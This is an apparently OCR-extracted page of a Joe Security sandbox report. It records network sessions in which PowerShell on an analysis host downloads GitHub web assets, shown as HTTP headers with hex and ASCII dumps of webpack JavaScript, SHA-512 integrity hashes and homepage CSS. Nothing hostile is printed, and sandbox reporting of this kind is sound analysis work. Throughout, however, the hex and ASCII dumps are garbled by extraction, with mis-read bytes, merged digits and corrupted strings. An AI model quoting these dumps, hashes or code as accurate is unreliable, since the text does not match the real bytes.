4 32 38 3838 34 66 62 2e 6a 73 22 3a 48 3d 3d 3d 32 31 38 3f 22 32 31 38 2d 38 64 62 36 33 38 39 36 64 33 66 38 2e
6a 73 22 3a 48 3d 3d 3d 34 35 39 38 3f 22 34 35 39 38 2d 32 66 39 37 30 36 34 30 66 65 30 62 2e 6a 73 22 3a 48 3d 3d
3d 34 36 33 31 3f 22 34 36 33 31 2d 31 31 61 65 64 65 37 38 34 36 65 36 2e 6a 73 22 3a 48 3d 3d 3d 32 32 31 32 3f 22
32323132 2d 343762 64 35 62 65 65 34 32 63 38 2e 6a 73 22 3a 22 63 68

Data Ascii: ":H===6319?7"6319-8ccdcbd5f114.js":H===56237"5623-a3d2c814168e.js":H===36827"3682-e91f7f4f1ce8.js":
H===93?7"93-8fdb428884fh.js":H===218?"218-8db63896d3f8.js":H===45987"4598-2f970640fe0b.js":H===46317"4631-
1laede7846e6.js":H===22127"2212-47bd5bee42c8.js":"ch

Data Raw: 32 31 39 22 3a 22 32 66 33 65 36 63 30 35 66 35 37 33 22 2¢ 22 36 32 36 36 22 3a 22 31 36 38 33 36 35 62
39 65 31 35 36 22 2¢ 22 36 34 30 31 22 3a 22 32 36 37 63 33 64 36 61 32 63 34 61 22 2c 22 36 34 32 37 22 3a 22 63 65
66 38 62 62 37 66 34 64 64 37 22 2¢ 22 36 34 39 34 22 3a 22 36 31 63 34 30 64 32 32 38 63 38 39 22 2c 22 36 38 37 37
22 3a 22 31 3564 66 30 34 34 61 66 62 66 34 22 2c 22 36 39 31 37 22 3a 22 34 62 64 39 32 33 39 30 62 65 34 39 22 2¢
22 36 39 34 36 22 3a 22 31 64 31 37 65 37 62 35 39 30 34 37 22 2¢ 22 36 39 37 30 22 3a 22 37 34 31 32 33 62 30 66 33
62 61 64 22 2c 22 37 30 32 38 22 3a 22 35 66 38 35 31 37 38 66 34 36 34 66 22 2c 22 37 31 37 38 22 3a 22 66 38 33 63
64 36 39 34 37 36 63 32 22 2c 22 37 32 35 39 22 3a 22 32 36 63 36 38 39 36

Data Ascii: 219":"2f3e6c05f573","6266":"168365b9e156","6401":"267c3d6a2c4a","6427": "cef8bb7f4dd7","6494":"61c4
0d228¢89","6877":"15df044afbf4","6917":"4bd92390be49","6946":"1d17e7b59047","6970":"74123b0f3bad","7028":"5f85
178f464f","7178":"f83cd69476¢2","7259":"26c6896

Data Raw: 61 72 20 73 3d 48 5b 66 5d 3b 69 66 28 64 65 6¢ 65 74 65 20 48 5b 66 5d 2c 65 2e 70 61 72 65 6e 74 4e 6f 64
65 26 26 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6¢ 64 28 65 29 2¢ 73 26 26 73 2e 66 6f 72 45
61 63 68 28 55 3d 3e 55 28 4e 29 29 2c 6f 29 72 65 74 75 72 6e 20 6f 28 4e 29 7d 2c 22 6f 6e 53 63 72 69 70 74 43 6f 6d
70 6¢ 65 74 65 22 29 2c 64 3d 73 65 74 54 69 6d 65 6f 75 74 28 6e 2e 62 69 6e 64 28 6e 75 6¢ 6¢ 2¢ 76 6f 69 64 20 30
2c 7b 74 79 70 65 3a 22 74 69 6d 65 6f 75 74 22 2¢ 74 61 72 67 65 74 3a 65 7d 29 2¢ 31 32 65 34 29 3b 65 2e 6f 6e 65
72 72 6f 72 3d 6e 2e 62 69 6e 64 28 6e 75 6¢ 6C 2¢ 65 2e 6f 6e 65 72 72 6f 72 29 2¢ 65 2e 6f 6 6¢ 6f 61 64 3d 6€ 2e 62
69 6e 64 28 6e 75 6¢ 6¢ 2c 65 2¢e 6f 6e 6¢ 6f 61 64 29 2¢ 63 26

Data Ascii: ar s=H[f];if(delete HI[f],e.parentNode&&e.parentNode.removeChild(e),s&&s.forEach(U=>U(N)),0)return
o(N)},"onScriptComplete"),d=setTimeout(n.bind(null,void 0 {type:"timeout" target:e}),12e4);e.onerror=n.bind(null,e.onerr
or),e.onload=n.bind(null,e.onload),c&

Data Raw: 4f 34 32 6a 48 79 6f 49 58 6a 36 6a 51 3d 3d 22 2c 22 32 38 30 22 3a 22 73 68 61 35 31 32 2d 70 35 54 45 46
65 67 72 5a 36 6a 50 75 6¢ 4a 4e 31 6b 6¢ 57 32 50 37 31 6f 52 37 72 68 72 65 78 33 33 4b 74 55 71 49 77 62 6a 74 72
52 7548 36 45 51 30 48 31 75 50 32 52 32 78 41 31 61 50 58 54 46 2f 48 36 55 77 77 6¢ 6e 6e 50 6f 65 39 48 6d 57 76
2f 77 51 3d 3d 22 2¢ 22 32 39 36 22 3a 22 73 68 61 35 31 32 2d 49 64 6¢ 64 33 71 4b 6e 51 71 45 30 39 68 67 4a 75 54
37 4a 36 2f 65 75 66 51 65 57 30 66 6¢ 70 49 42 46 56 43 53 74 72 48 6d 74 4c 52 31 49 57 4f 31 70 54 69 44 5a 44 2f 70
4c 69 72 4d 55 68 36 7a 39 72 58 5a 49 38 41 6¢ 68 2b 52 64 6f 59 4e 4a 62 4b 65 67 3d 3d 22 2c 22 33 31 33 22 3a 22
73 68 61 35 31 32 2d 4f 6¢ 42 70 36 65 62 51 55 59 42 37 33 45 43 74

Data Ascii: 042jHyolXj6jQ==","280":"sha512-p5TEFegrZ6jPulJN1klIW2P710R7rhrex33KtUqlwbjtrRUH6EQOH1uP2R
2xA1aPXTF/H6UwwInnPoe9HMWv/wQ==","296":"sha512-1dId3gKnQqE09hgJuT7J6/eufQeWOflpIBFVCStrHmt
LR1IWO1pTiDZD/pLirMUh6z9rXZI8Alh+RdoYNJbKeg==","313":"sha512-OIBp6ebQUYB73ECt

Data Raw: 3a 22 73 68 61 35 31 32 2d 78 77 6f 79 6f 49 70 64 31 46 39 43 30 6¢ 62 36 54 38 53 7a 71 65 79 7a 64 57 46
74 44 65 66 76 53 64 58 65 54 76 37 50 4b 48 72 7a 36 59 56 6f 71 76 71 31 75 7a 64 42 71 4e 58 54 33 68 79 45 6e 54
4c 45 4d 72 53 57 51 51 71 76 49 30 7a 4e 61 47 70 54 58 77 3d 3d 22 2c 22 31 35 30 34 22 3a 22 73 68 61 35 31 32 2d
6a 5a 65 42 57 43 43 46 6a 6e 2b 78 76 71 2f 65 43 62 51 4a 37 5a 34 59 30 47 52 4f 71 73 6¢ 45 71 64 5a 6f 75 31 4f 52
51 6a 35 32 58 44 41 53 4f 64 74 52 4f 79 4b 78 52 33 2b 33 33 45 4b 6a 59 67 42 54 41 61 39 6e 33 42 79 59 6a 56 66 5
477 45 4857 55 51 3d 3d 22 2c 22 31 35 37 35 22 3a 22 73 68 61 35 31 32 2d 4a 37 49 5a 37 68 75 4f 48 69 71 4b 31
47 72 6d 42 5a 31 6a 58 68 48 31 37 70 6f 46 53 6d 30 4f 6e 77 31 72

Data Ascii: :"sha512-xwoyolpd1F9CO0lb6T8SzgeyzdWFtDefvSdXeTv7PKHrz6YVoqvqluzdBgNXT3hyEnTLEM
rSWQQqvI0zNaGpTXw==","1504":"sha512-jZeBWCCFjn+xvq/eCbQJ7Z4YOGROqsIEqdZou1ORQj52XDASOdtROy
KxR3+33EKjYgBTAa9n3By Y|V TWEHWUQ==","1575":"sha512-J71Z7huOHigK1GrmBZ1jXhH17poFSmOOnw1r
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:36 UTC 1108 IN
2022-04-20 13:07:36 UTC 1110 IN
2022-04-20 13:07:36 UTC 1111 IN
2022-04-20 13:07:36 UTC 1113 IN
2022-04-20 13:07:37 UTC 1114 IN
2022-04-20 13:07:37 UTC 1115 IN
Session ID Source IP Source Port
13 192.168.2.4 49766
Timestamp L Direction
transferred
2022-04-20 13:07:36 UTC 1038 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 54 78 7a 6f 50 55 77 51 31 4e 4c 37 2f 68 37 52 71 79 5a 39 4b 72 4a 34 79 45 4f 74 69 53 66 55 72 77 42 52
76 3356 4a 49 53 2b 58 67 64 32 72 61 50 61 4f 53 5a 4b 4e 4f 42 47 45 34 75 36 6d 68 4b 50 39 6e 5a 72 63 46 51 2f
7161 73 6f 44 65 67 3d 3d 22 2c 22 33 37 33 30 22 3a 22 73 68 61 35 31 32 2d 39 52 6b 6f 67 6f 73 36 2b 74 76 68 35 62
43 78 6f 69 36 53 61 66 33 5a 2b 6b 4b 74 57 31 2f 59 48 61 63 71 58 4d 6a 38 63 30 65 50 7a 6e 31 70 45 4c 41 68 4c
68 79 66 53 45 76 39 31 65 71 75 30 57 68 46 4d 42 57 67 6f 6¢ 30 4f 4d 46 75 2f 6b 4b 54 54 46 77 3d 3d 22 2¢ 22 33 3
7353422322273 68613531 32 2d 50 38 42 76 62 4a 4f 5a 52 38 69 31 6f 45 33 73 70 52 37 4e 65 78 32 52 2f 4b 50
7a 72 3834 76 58 55 6f 71 64 6b 62 52 35 4b 46 49 31 67 59 76 4b

Data Ascii: TxzoPUwWQ1NL7/h7RqgyZ9KrJ4yEOLtiSfUrwBRv3VJIS+Xgd2raPaOSZKNOBGE4u6mhKP9nZrcFQ/qas
oDeg==","3730":"sha512-9Rkogos6+tvh5bCx0i6Saf3Z+kKtW1/YHacqXMj8cOePzn1pELAhLhyfSEv91equOWh
FMBWgolOOMFu/kKTTFw==","3754":"sha512-P8BvbJOZR8i10E3spR7Nex2R/KPzr84vXUoqdkbR5KFI1gYVK

Data Raw: 2f 50 50 34 4a 30 6e 73 34 65 34 71 2f 70 4c 58 5a 4a 70 71 46 4d 4d 59 50 6e 61 77 4f 6a 30 63 68 38 48 70
37 67 46 45 51 55 2b 31 61 37 78 30 41 41 53 36 5a 55 50 39 63 32 58 4a 78 5a 4f 51 41 2f 4a 5a 67 3d 3d 22 2c 22 35
31363322 3a227368613531322d334b 317370 6a7275303236 7842 77 4f 39 30 4c 55 43 74 70 30 4e 56 39
44 43 7a 77 4d 5a 37 37 36 58 4d 6¢ 50 46 36 55 53 5a 36 67 54 34 51 30 32 2f 44 2f 75 78 54 58 51 35 2f 61 76 61 38 56
36 4c 4b 34 6b 6e 47 75 45 7a 49 43 49 79 69 41 72 59 76 77 3d 3d 22 2c 22 35 31 38 33 22 3a 22 73 68 61 35 31 32 2d
36 48 75 5a 52 33 61 42 69 76 6f 6f 54 73 76 2b 55 59 44 4d 62 39 72 44 2b 6¢ 52 39 51 45 35 75 44 66 58 34 76 4f 52

34 7058 68 77 37 77 6b 47 55 69 4d 42 4f 47 72 58 4a 50 73 53 4d 47

Data Ascii: /PP4J0ns4e4q/pLXZIpgFMMYPnawOj0ch8Hp7gFEQU+1a7x0AAS6ZUP9c2XJIxZOQA/JZg==","5163
":"sha512-3K1spjru026xBwO90LUCtpONVIDCzwMZ 776 XMIPF6USZ6gT4Q02/D/uxTXQ5/ava8V6LK4knGuEzICly
iArYvw==","5183":"sha512-6HuZR3aBivooTsv+UYDMb9rD+IR9QE5uDfX4vOR4pXhw7wkGUIMBOGIrXJPsSMG

Data Raw: 47 58 4f 6b 34 41 4a 51 51 32 49 49 4e 65 4f 38 6b 6b 65 46 2b 6e 45 67 32 49 4a 33 79 30 4d 67 78 45 53 57
7a 70 76 6e 4d 2f 35 4c 66 33 6e 65 64 70 32 57 57 44 6d 77 3d 3d 22 2c 22 36 31 38 34 22 3a 22 73 68 61 35 31 32 2d
2f 7a 34 58 61 61 6d 49 4e 62 6e 37 37 47 53 52 6b 61 78 39 50 61 62 6d 49 4f 4c 45 2f 63 54 74 56 76 74 4c 37 58 34
67 52 42 41 66 42 6e 51 66 6¢ 66 6¢ 58 6e 73 48 32 52 58 44 35 56 4c 47 56 54 66 33 33 6a 53 53 59 74 55 78 66 65 37
4f 57 64 49 75 4b 4e 67 3d 3d 22 2c 22 36 32 31 39 22 3a 22 73 68 61 35 31 32 2d 4c 7a 35 73 42 66 56 7a 65 39 77 30
72 3353 78 69 49 59 2f 34 76 39 54 53 71 72 51 4e 35 72 6e 63 4b 6b 69 33 7a 6d 4b 75 32 72 52 72 75 5a 6d 64 4d 44
64 50 6d 6a 46 45 2f 2b 4d 42 67 51 36 73 53 72 50 76 41 62 49 6d 44 74

Data Ascii: GXOk4AJQQ2IINeO8kkeF+nEg21J3yOMgXxESWzpvnM/5Lf3nedp2WWDmw==","6184":"sha512-/z4
XaamINbn77GSRkax9PabmIOLE/cTtVvtL7X4gRBAfBnQflfIXnsH2RXD5VLGVTf33jSSYtUxfe7OWdIUKNg==","62
19":"shab512-Lz5sBfVze9w0r3SxilY/4v9TSqrQN5rncKki3zmKu2rRruZmdMDdPmjFE/+MBgQ6sSrPvAbImDt

Data Raw: 31 55 70 50 77 78 73 68 63 6f 4d 66 52 70 66 6a 46 43 54 41 78 41 41 50 77 6¢ 6b 39 41 6f 4d 6a 38 4f 55 75
36 68 63 76 47 4d 41 3d 3d 22 2c 22 37 32 3539 22 3a 22 73 68 61 35 31 32 2d 4a 73 61 4a 61 73 76 66 67 52 47 4f 52
37 326a 7270 73 65 6d 42 4e 7a 42 68 4f 2b 6f 6e 76 4b 63 30 4e 4f 2b 75 61 6¢ 47 2f 6d 31 50 30 55 47 2f 76 4f 6e 6f
54 73 45 43 55 46 2f 55 67 48 58 49 42 4e 41 61 6¢ 63 6b 4e 57 62 73 78 67 6e 44 30 4a 75 57 77 51 3d 3d 22 2c 22 37
323735223a22 736861 353132 2d6c 6266 54 57 68 79 2b 35 66 49 47 71 51 6¢ 4d 50 4e 30 4a 4d 53 6e 30 57 51
59 45 6b 6¢ 68 57 78 69 70 48 6b 6d 48 68 4e 30 45 6f 79 62 73 6b 70 70 58 33 35 79 63 37 79 73 30 4f 4c 65 4a 6¢ 44 6f
4a 47 36 44 59 5a 68 5a 59 6d 46 75 2b 71 2f 69 33 73 7a 77 3d 3d

Data Ascii: 1UpPwxshcoMfRpfijFCTAXAAPwWIk9A0Mj80OUubhcvGMA==","7259":"sha512-JsaJasvigRGOR72jrpsemBNzBh
0O+onvKcONO+ualG/m1POUG/VOnoTSECUF/UgHXIBNAalckNWbsxgnDOJuWwQ==","7275":"sha512-Ibf TWhy+5fl
GgQIMPNOIMSNOWQY EkIhWxipHkmHhNOEoybskppX35yc7ys00LeJIDoJG6DYZhZYmFu+q/i3szw==

Data Raw: 5a 42 79 61 71 30 74 72 79 73 2f 4c 53 32 55 43 76 52 61 54 35 62 74 4e 51 58 4b 69 4a 51 3d 3d 22 2c 22
3837383722 3a22 736861353132 2d 4b 78 48 4e 5a 30 47 58 45 4b 62 79 54 73 34 77 6e 53 42 4a 58 72 38 64 53
53 53 32 44 49 33 41 30 35 2b 5a 41 4e 4e 42 50 6a 4a 34 68 56 45 4f 70 79 6e 63 4b 67 47 50 43 66 69 48 43 4b 45 44
355a 7430703243 7a4869 73 46 6d 74 62 42 70 41 69 35 59 67 3d 3d 22 2c 22 38 39 35 37 22 3a 22 73 68 61 35 31
32 2d 77 6a 54 78 55 79 53 48 32 55 73 47 4d 33 38 44 68 67 4a 50 52 41 46 2b 32 76 50 6f 46 38 36 34 6b 76 36 54 5a
58 4a 68 63 38 69 66 75 43 55 63 65 47 2f 35 4a 6b 73 66 6b 73 54 65 39 7a 75 4f 61 62 38 48 76 71 62 72 55 73 73 36
2f 50 38 56 30 6e 67 6e 48 77 3d 3d 22 2c 22 39 30 33 39 22 3a 22 73 68 61

Data Ascii: ZByaqOtrys/LS2UCvRaT5btNQXKiJQ==","8787":"sha512-KxHNZOGXEKbyTs4wnSBJIXr8dSSS2D
13A05+ZANNBP;jJ4hVEOpyncKgGPCfIHCKED5Zt0p2CzHisFmtbBpAi5Yg==","8957":"sha512-wj TxUySH2UsGM3
8DhgJPRAF+2vPoF864kv6 TZXJhc8ifuCUceG/5JksfksTe9zuOaj8HvgbrUss6/P8V0OngnHw==","9039":"sha

Data Raw: 62 69 6e 64 28 72 29 29 7d 29 28 29 7d 29 28 29 3b 7d 29 28 29 3b Oa Oa 2f 2f 23 20 73 6f 75 72 63 65 4d 61
7070 69 6e 67 55 52 4c 3d 72 75 6e 74 69 6d 65 2d 33 38 33 62 37 64 63 62 31 32 30 66 2e 6a 73 2e 6d 61 70
Data Ascii: bind(r))})()})();})();//# sourceMappingURL=runtime-383b7dcb120f.js.map

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe

Data

GET /assets/home-e461cf7ec7b7.css HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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Timestam
P transferred

2022-04-20 13:07:36 UTC 1039

2022-04-20 13:07:36 UTC 1039

2022-04-20 13:07:36 UTC 1041

2022-04-20 13:07:36 UTC 1042

2022-04-20 13:07:36 UTC 1043

2022-04-20 13:07:36 UTC 1045

2022-04-20 13:07:36 UTC 1046

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 24751

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Thu, 14 Apr 2022 15:37:07 GMT

ETag: "2966afd24458baf50b22dd097575e835"

Content-Type: text/css

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Age: 508068

X-Served-By: cache-iad-kiad7000109-1AD, cache-mxp6961-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 1c659c39b94dfa06c8e7df5b42c3b7ee6163d9a5

Data Raw: 2e 68 6f 6d 65 2d 68 65 72 6f 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 37 35 30 70
783b 6d 61 78 2d 68 65 69 67 68 74 3a 39 32 36 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30 34 30
6432 31 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 34 34 70 78 29 7b 2e 68 6f 6d 65 2d 68 65 72 6f
2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 35 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e
2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 68 6f 6d 65 2d 68 65 72 6f 2d 63 6f 6e 74 61 69 6e 65 72 7h 68 65 69 6
7 68 74 3a39 34 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 36 30 70 78 7d 7d 2e 68 6f 6d 65 2d 68 65 72 6f 7b 70 61
64 64 69 6e 67 3a 38 72 65 6d 20 30 20 30 7d 40 6d 65 64 69 61 28

Data Ascii: .home-hero-container{min-height:750px; max-height:926px;background-color:#040d21}@media(min-width:
544px){.home-hero-container{min-height:850px}}@media(min-width: 768px){.home-hero-container{height:94vh;min-he
ight:860px}}.home-hero{padding:8rem 0 O}@media(

Data Raw: 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6¢ 65
66 74 3a 2d 34 70 78 3b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 32 70 78 3b 63 6f 6e 74 65 6e 74
3a22 22 3b 626163 6b 67 72 6f 75 6e 64 3a 23 64 61 64 66 65 39 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68
322035 34 34 70 78 29 7b 2e 68 6f 6d 65 2d 67 69 74 2d 6¢ 6 67 2d 6¢ 69 67 68 74 3a 3a 61 66 74 65 72 2c 2e 68 6f 6d
65 2d 67 69 74 2d 6¢ 6f 67 2d 64 61 72 6b 3a 3a 61 66 74 65 72 7b 6¢ 65 66 74 3a 2d 32 34 70 78 7d 7d 2e 68 6f 6d 65
2d 67 69 74 2d 6¢ 6f 67 2d 63 65 6e 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 7d 2e 68 6f 6d 65 2d
67 69 74 2d 6c 6f 67 2d 63 65 6e 74 65 72 3a 3a 61 66 74 65 72

Data Ascii: r{position:absolute;top:0;bottom:0;left:-4px;display:block;width:2px;content:"';background:#dadfe9}@media(mi
n-width: 544px){.home-git-log-light::after,.nome-git-log-dark::after{left:-24px}}.home-git-log-center{position:relative}.home-
git-log-center::after

Data Raw: 66 74 3a 63 61 6¢ 63 28 38 2e 33 33 33 33 33 25 20 2d 20 31 34 70 78 29 7d 40 6d 65 64 69 61 28 6d 69 6e
2d 77 69 64 74 68 3a 20 35 34 34 70 78 29 7h 2e 68 6f 6d 65 2d 62 72 61 6e 63 68 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d
6172 67 69 6e 2d 6¢ 65 66 74 3a 63 61 6¢ 63 28 38 2e 33 33 33 33 33 25 20 2d 20 33 33 70 78 29 7d 7d 40 6d 65 64 69
61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 68 6f 6d 65 2d 62 72 61 6e 63 68 2d 63 6f 6e 74 61 69
6e 65 72 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 7d 2e 68 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 7b 6d 61 72 67 69
6e 2d 6¢ 65 66 74 3a 2d 34 32 70 78 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 3534 34 70 78 29 7h 2e
68 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74

Data Ascii: ft:calc(8.33333% - 14px)}@media(min-width: 544px){.home-branch-container{margin-left:calc(8.33333% -
33px)}}@media(min-width: 768px){.home-branch-container{margin-left:0}}.home-git-item{margin-left:-42px}@media(min-
width: 544px){.home-git-item{margin-left

Data Raw: 61 72 64 73 20 34 73 7d 7d 2e 68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 66 69 6¢ 65 74 72 65 65 7b
62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30 63 31 36 32 64 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70
7820 73 6f 6¢ 69 64 20 23 30 34 30 64 32 31 7d 2e 68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 74 61 62 73 2c 2e
68 6f 6d 65 2d 72 65 70 6f 2d 65 64 69 74 6f 72 2d 66 69 6¢ 65 74 72 65 65 7b 66 6f 6 74 2d 66 61 6d 69 6¢ 79 3a 2d 61
7070 6¢ 65 2d 73 79 73 74 65 6d 2 42 6¢ 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2¢ 22 53 65 67 6f 65 20 55
49 22 2¢ 48 65 6¢ 76 65 74 69 63 61 2¢ 41 72 69 61 6¢ 2¢ 73 61 6 73 2d 73 65 72 69 66 2¢ 22 41 70 70 6¢C 65 20 43 6f
6¢ 6f 72 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20

Data Ascii: ards 4s}}.home-repo-editor-filetree{background-color:#0c162d;border-right:1px solid #040d21}.home-repo-
editor-tabs,.home-repo-editor-filetree{font-family:-apple-system,BlinkMacSystemFont,"Segoe Ul",Helvetica,Arial,sans-
serif,"Apple Color Emoji","Segoe Ul

Data Raw: 74 65 59 28 30 29 7d 7d 2e 70 61 63 6b 61 67 65 2d 72 65 67 69 73 74 72 79 7b 62 6f 78 2d 73 68 61 64 6f 77
323020 30 20 3020 31 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2¢ 32 35 35 2c 2e 31 29 2¢ 30 20 33 34 70 78 20
36 35 70 78 20 23 30 34 30 64 32 31 2¢ 30 20 32 2e 37 35 70 78 20 32 2e 32 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30
2c 2e 30 37 29 2c 30 20 36 2e 36 35 70 78 20 35 2e 33 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 34 33 29 2¢
302031 322e 357078203130 7078207267 62 61 28 30 2¢ 30 2c¢ 30 2c 2e 30 33 29 2¢ 30 20 32 32 70 78 20 31 38
7078 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 33 29 2c 30 20 34 32 70 78 20 33 33 2e 34 70 78 20 72 67 62 61 28 30
2¢ 30 2c 30 2c 2e 30 32 29 2c 30 20 31 30 30 70 78 20 38 30 70 78 20 72

Data Ascii: teY(0)}}.package-registry{box-shadow:0 0 0 1px rgba(255,255,255,.1),0 34px 65px #040d21,0 2.75px 2.21px
rgba(0,0,0,.07),0 6.65px 5.32px rgbha(0,0,0,.043),0 12.5px 10px rgba(0,0,0,.03),0 22px 18px rgha(0,0,0,.03),0 42px 33.4px
rgba(0,0,0,.02),0 100px 80px r

Data Raw: 73 6b 74 6f 70 7b 77 69 64 74 68 3a 31 34 34 2e 37 35 25 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 62 6f 72 64
6572 2d 72 61 64 69 75 73 3a 2e 36 32 35 72 65 6d 7d 2e 68 6f 6d 65 2d 63 6¢ 69 7b 62 6f 74 74 6f 6d 3a 32 25 3b 6f 70
616369 74 79 3230 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 36 73 2c 6f 70 61 63 69 74 79
202e 36 73 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 28 31 30 25 2¢ 20 30 29 7d 40 6d 65 64 69 61
28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 34 34 70 78 29 7b 2e 68 6f 6d 65 2d 63 6¢ 69 7b 62 6f 74 74 6f 6d 3a 35 25 7d 7d
40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 30 31 32 70 78 29 7b 2e 68 6f 6d 65 2d 63 6¢ 69 7b 62 6f 74
74 6f 6d 3a 31 30 25 7d 7d 2e 68 6f 6d 65 2d 63 6¢ 69 2e 62 75

Data Ascii: sktop{width:144.75%;font-size:0;border-radius:.625rem}.home-cli{bottom:2%;o0pacity:0;transition:transform .6s
,opacity .6s;transform:translate(10%, 0)}@media(min-width: 544px){.home-cli{bottom:5%}}@media(min-width: 1012px)
{-home-cli{bottom:10%}}.home-cli.bu
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:36 UTC 1047 IN
2022-04-20 13:07:36 UTC 1049 IN
2022-04-20 13:07:36 UTC 1050 IN
2022-04-20 13:07:36 UTC 1051 IN
2022-04-20 13:07:36 UTC 1053 IN
2022-04-20 13:07:36 UTC 1054 IN
2022-04-20 13:07:36 UTC 1055 IN
2022-04-20 13:07:36 UTC 1056 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74 65 6d 2d 32 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61 74
65 7e 2e 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 69 6¢ 6¢ 6f 20 2e 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73
2d 76 69 65 77 2d 31 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 68 6f 6d
65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74 65 6d 2d 32 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61
74 65 7e 2e 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 69 6¢ 6¢ 6 20 2e 68 6f 6d 65 2d 63 6f 64 65 73 70 61 63 65
73 2d 76 69 65 77 2d 32 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 68 6f
6d 65 2d 63 6f 64 65 73 70 61 63 65 73 2d 63 6f 70 79 2d 69 74

Data Ascii: espaces-copy-item-2.build-in-animate~.home-codespaces-illo .home-codespaces-view-1{position:absolu
te;opacity:0}.home-codespaces-copy-item-2.build-in-animate~.home-codespaces-illo .home-codespaces-view-2{posit
ion:relative;opacity:1}.home-codespaces-copy-it

Data Raw: 30 25 3b 77 69 64 74 68 3a 31 34 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 58 28

2d 3530 25 29 7d 7d 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6d 70 2e 62 75 69 6¢ 64 2d 69 6e 2d 61 6e 69 6d 61
74 65 20 2e 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 62 75 69 6¢ 64 7b 76 69 73 69 62 69 6¢ 69 74 79 3a 76 69 73 69 62 6C 6
53b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 36 2c 20 31 2c 20 30 2e
33 2c 20 31 29 20 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 62 75 69 6¢ 64 20 66 6f 72 77 61 72 64 73 7d 2e 68 6f 6d 65 2d 6d
